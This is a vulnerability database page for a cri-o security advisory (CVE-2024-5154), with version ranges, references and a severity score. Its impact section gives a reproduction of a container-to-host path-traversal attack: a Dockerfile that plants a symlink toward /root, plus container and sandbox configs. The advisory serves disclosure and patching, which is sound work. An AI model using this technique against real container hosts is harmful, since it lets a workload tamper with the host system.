ghsa-j9hf-98c3-wrm8
Vulnerability from github
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra .
```
and this container config:
``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } }
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
```
will create a file on host /host/mtab
Patches
1.30.1, 1.29.5, 1.28.7
Workarounds
Unfortunately not
References
Are there any links users can visit to find out more?
{ "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/cri-o/cri-o" }, "ranges": [ { "events": [ { "introduced": "1.28.6" }, { "fixed": "1.28.7" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/cri-o/cri-o" }, "ranges": [ { "events": [ { "introduced": "1.29.4" }, { "fixed": "1.29.5" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/cri-o/cri-o" }, "ranges": [ { "events": [ { "introduced": "1.30.0" }, { "fixed": "1.30.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-5154" ], "database_specific": { "cwe_ids": [ "CWE-22", "CWE-668" ], "github_reviewed": true, "github_reviewed_at": "2024-06-04T18:12:31Z", "nvd_published_at": "2024-06-12T09:15:19Z", "severity": "HIGH" }, "details": "### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra \u0026\u0026 cd /extra \u0026\u0026 ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n \"metadata\": {\n \"name\": \"busybox\"\n },\n \"image\":{\n \"image\": \"localhost/test\"\n },\n \"command\": [\n \"/bin/true\"\n ],\n \"linux\": {\n }\n}\n\n\n```\nand this sandbox config \n```\n{\n \"metadata\": {\n \"name\": \"test-sandbox\",\n \"namespace\": \"default\",\n \"attempt\": 1,\n \"uid\": \"edishd83djaideaduwk28bcsb\"\n },\n \"linux\": {\n \"security_context\": {\n \"namespace_options\": {\n \"network\": 2\n }\n }\n }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_\n", "id": "GHSA-j9hf-98c3-wrm8", "modified": "2024-09-06T21:39:25Z", "published": "2024-06-04T18:12:31Z", "references": [ { "type": "WEB", "url": "https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5154" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2024:3676" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2024:3700" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2024:4008" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2024:4486" }, { "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2024-5154" }, { "type": "WEB", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2280190" }, { "type": "PACKAGE", "url": "https://github.com/cri-o/cri-o" }, { "type": "WEB", "url": "https://pkg.go.dev/vuln/GO-2024-2919" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N", "type": "CVSS_V3" } ], "summary": "malicious container creates symlink \"mtab\" on the host External" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.